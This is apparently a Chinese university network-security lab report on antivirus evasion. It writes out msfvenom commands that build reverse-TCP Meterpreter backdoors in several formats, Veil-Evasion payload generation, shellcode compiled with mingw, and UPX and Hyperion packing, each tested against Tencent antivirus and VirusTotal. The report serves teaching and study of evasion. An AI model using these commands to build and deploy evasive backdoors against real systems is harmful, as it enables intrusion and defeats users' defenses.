20165229 NetSec Exp3免殺原理與實踐
20165229 NetSec Exp3免殺原理與實踐
實踐內容
1)正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,自己利用shellcode編程等免殺工具或技巧;
2)通過組合應用各種技術實現惡意代碼免殺
(如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。)
3)用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本
基礎問題回答
(1)殺軟是如何檢測出惡意代碼的?
答:AV廠商檢測惡意軟件的方式主流的就三種: 基於特征碼的檢測:每個程序都會有一段特征碼,或者說是一段數據。殺毒軟件可以檢測某個程序的特征碼是否包含惡意代碼的特征碼,以此來判定是否為惡意代碼 啟發式惡意軟件檢測:殺毒軟件檢測某個程序在系統中做的事情,是不是惡意代碼做的事情。以此來判斷是不是惡意代碼 基於行為的惡意軟件檢測:也是啟發式的一種,可以理解為加了監控模式的啟發式檢測
(2)免殺是做什麽?
答:免殺就是就是讓我們的惡意軟件沒法被以上三種方式找到。
(3)免殺的基本方法有哪些?
答:對於針對殺軟基於特征碼的檢測方法,可以改變或者隱藏惡意代碼的特征碼。比如使用加殼或者是異或改變特征碼。
實踐過程記錄
MSF編碼器
- 使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=192.168.199.255 LPORT=5229 -f exe > msd5229.exe
指令進行多次編碼,生成.exe的後門程序
- 放到windows系統中,果不其然,殺軟可以發現它
使用virscan進行掃描,結果如下所示
大多數軟件可以查殺該病毒,所以僅改變編碼是不行的。
- 使用
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.199.255 lport=5229 x> 5229met.jar
生成.jar的後門程序 - 然後使用騰訊安全管家進行掃描
安全管家還是能輕易的查出他的問題
- 再將.jar後門程序上傳到VirusTotal上掃描結果如下。
- 使用
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.199.255 LPORT=5229 x> 20165229_backdoor.php
- 再安全管家中進行掃描,掃描結果如下
安全管家無法查殺.php文件
- 將生成文件上傳到VirusTotal進行掃描,掃描結果如下
- 使用veil-evasion生成後門程序及檢測
安裝veil
- 再Kal命令行中輸入
git clone https://www.github.com/Veil-Framework/Veil-Evasion.git
- 下載完成後,我們還需要對其軟件配置包進行安裝,依次輸入如下命令:
lscd Veil-Evasion ls cd setup ls ./setup.sh
(該shell腳本將自動為我們安裝軟件配置包).....這些步驟沒有截圖。。 - 安裝完成過後進入安裝Veil-Evasion的文件當中運行指令
python Veil-Evasion.py
成功進入到菜單界面,可以看到當前一共有 51 種 payload 可用!我們可以使用 list 命令來查看 payload 的詳細信息!根據 payload 編號,我們選擇``6) c/meterpreter/rev_tcp```來進行演示
依次輸入命令set LHOST 192.168.199.266(Kali的IP),set LPORT 5229,options
- 輸入指令generate生成文件,輸入payload名字veil5229生成後門程序
- 根據途中所給的路徑可以找到veil5229.exe
用virustotal檢測一下
- 再放到Windows騰訊安全管家中掃描一下
還是被發現了,免殺做的還不夠
- 輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.255 LPORT=5229 -f c用C語言生成一段shellcode
vi 20165229.c
創建一個文件,將剛剛生成的unsigned char buf[]復制到其中
- 輸入指令
i686-w64-mingw32-g++ 20165229buf.c -o 20165229.exe
生成可執行文件 - 用virustotal檢測如下
- 安全管家來查一下,看看有沒有問題呢?
事實證明,不得行,代碼再復雜也沒用。
加殼
- - -
加殼的全稱應該是可執行程序資源壓縮,壓縮後的程序可以直接運行。加殼的另一種常用的方式是在二進制的程序中植入一段代碼,在運行的時候優先取得程序的控制權,之後再把控制權交還給原始代碼,這樣做的目的是為了隱藏程序真正的OEP(入口點,防止被破解)。大多數病毒就是基於此原理。
加殼的程序需要阻止外部程序或軟件對加殼程序本身的反匯編分析或者動態分析,以達到保護殼內原始程序以及軟件不被外部程序破壞,保證原始程序正常運行。
這種技術也常用來保護軟件版權,防止軟件被破解。但對於病毒,加殼可以繞過一些殺毒軟件的掃描,從而實現它作為病毒的一些入侵或破壞的一些特性。
MSF的編碼器使用類似方法,對shellcode進行再編碼。
從技術上分殼分為:
- 壓縮殼:減少應用體積,如ASPack,UPX
- 加密殼:版權保護,反跟蹤。如ASProtect,Armadillo
虛擬機:通過類似編譯手段,將應用指令轉換為自己設計的指令集。如VMProtect, Themida
- 壓縮殼(UPX)
給20165229buf.exe加個殼得到5229_upxed.exe
upx 20165229buf.exe - o 5229_upxed.exe
- 用virustotal檢測如下
騰訊電腦管家再登場
加密殼(Hyperion)
將5229_upxed.exe
拷貝到/usr/share/windows-binaries/hyperion/
目錄中
進入目錄/usr/share/windows-binaries/hyperion/
中
輸入指令wine hyperion.exe -v 5229_upxed.exe 5229_upxed_Hyperion.exe加殼
用virustotal檢測如下
安全管家檢測一下
通過組合應用各種技術實現惡意代碼免殺
- 對
veil53061.exe
加壓縮殼
- 用virustotal檢測如下
- 騰訊安全管家掃描
沒問題
用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本
受害者:win7虛擬機
殺毒軟件:電腦管家13.3.20237.212
對2016529.exe加密殼,再壓縮殼,生成5229buf_Hyperion_upxed.exe
- 使用上個實驗的方法將文件傳輸到虛擬機
- 打開虛擬機的安全管家對
5229buf_Hyperion_upxed.exe
進行掃描
被發現了。。。。。
實驗心得體會
通過這次的免殺實驗,我掌握了惡意代碼躲避殺毒軟件檢測的方法,體會到了病毒程序的恐怖。發現了只要將惡意代碼稍作修改,就能逃脫殺毒軟件真的檢測,可見最好的方法還是不下載不明軟件,不點擊不正規的網站,及時更新病毒庫。...我也不知道我的安全管家怎麽了,在實驗中我每次把測試的惡意代碼從kali拖到自己電腦時都沒有安全警告提示,後來發現再打開就又了。可能他會雲殺毒。
20165229 NetSec Exp3免殺原理與實踐